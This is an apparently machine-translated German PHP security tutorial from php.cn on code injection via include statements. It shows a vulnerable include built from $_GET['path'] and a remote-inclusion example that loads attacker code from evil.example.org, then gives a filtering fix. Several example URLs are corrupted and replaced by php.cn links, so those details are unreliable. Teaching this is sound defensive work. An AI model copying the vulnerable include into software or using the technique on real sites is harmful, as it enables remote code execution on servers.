Eine besonders gefährliche Situation ist, wenn Sie versuchen, fehlerhafte Daten als führenden Teil einer Dynamik zu verwenden:
<?php include "{$_GET['path']}/header.inc"; ?>
In diesem Szenario kann ein Angreifer nicht nur den Dateinamen, sondern auch die darin enthaltenen Ressourcen manipulieren. Da PHP standardmäßig nicht nur Dateien einschließen kann, kann es auch die folgenden Ressourcen einbinden (gesteuert durchallow_url_fopen in der Konfigurationsdatei):
<?php include 'http://www.google.com/'; ?>
Die Include-Anweisung enthält zu diesem Zeitpunkt den Webseiten-Quellcode von http://www.php.cn/ als lokale Datei. Obwohl das obige Beispiel harmlos ist, stellen Sie sich vor, was passieren würde, wenn der von GOOGLE zurückgegebene Quellcode PHP-Code enthalten würde. Auf diese Weise wird der darin enthaltene PHP-Code analysiert und ausgeführt. Dies ist eine Gelegenheit für Angreifer, Schadcode freizugeben, um Ihr Sicherheitssystem zu umgehen.
Stellen Sie sich vor, dass der Pfadwert auf die folgende vom Angreifer kontrollierte Ressource verweist:
http://www.php.cn/ ... e.org%2Fevil.inc%3F
Im obigen Beispiel ist der Wert von path URL-codiert und der ursprüngliche Wert lautet wie folgt:
http://www.php.cn/
Dies führt dazu, dass die Include-Anweisung das vom Angreifer ausgewählte Skript (evil.inc) einschließt und ausführt und der ursprüngliche Dateiname/header.inc als Anforderungszeichenfolge betrachtet wird:
<?php include "http://evil.example.org/evil.inc?/header.inc"; ?>
Dadurch wird vermieden, dass der Angreifer das verbleibende Verzeichnis und den Dateinamen (/header.onc) erraten und denselben Pfad und Dateinamen auf evil.example.org erstellen muss. Im Gegenteil, wenn der spezifische Dateiname der angegriffenen Website blockiert wird, muss er nur sicherstellen, dass evil.inc den legalen Code ausgibt, den er ausführen möchte.
Diese Situation ist genauso gefährlich, als würde man einem Angreifer erlauben, den PHP-Code direkt auf Ihrer Website zu ändern. Glücklicherweise kann dies verhindert werden, indem die Daten vor den Include- und Require-Anweisungen gefiltert werden:
<?php $clean = array(); /* $_GET['path'] is filtered and stored in $clean['path']. */ include "{$clean['path']}/header.inc"; ?>
Das Obige ist der Inhalt der PHP-Sicherheitscode-Injektion. Für weitere verwandte Inhalte achten Sie bitte auf PHP Chinesische Website (www.php.cn)!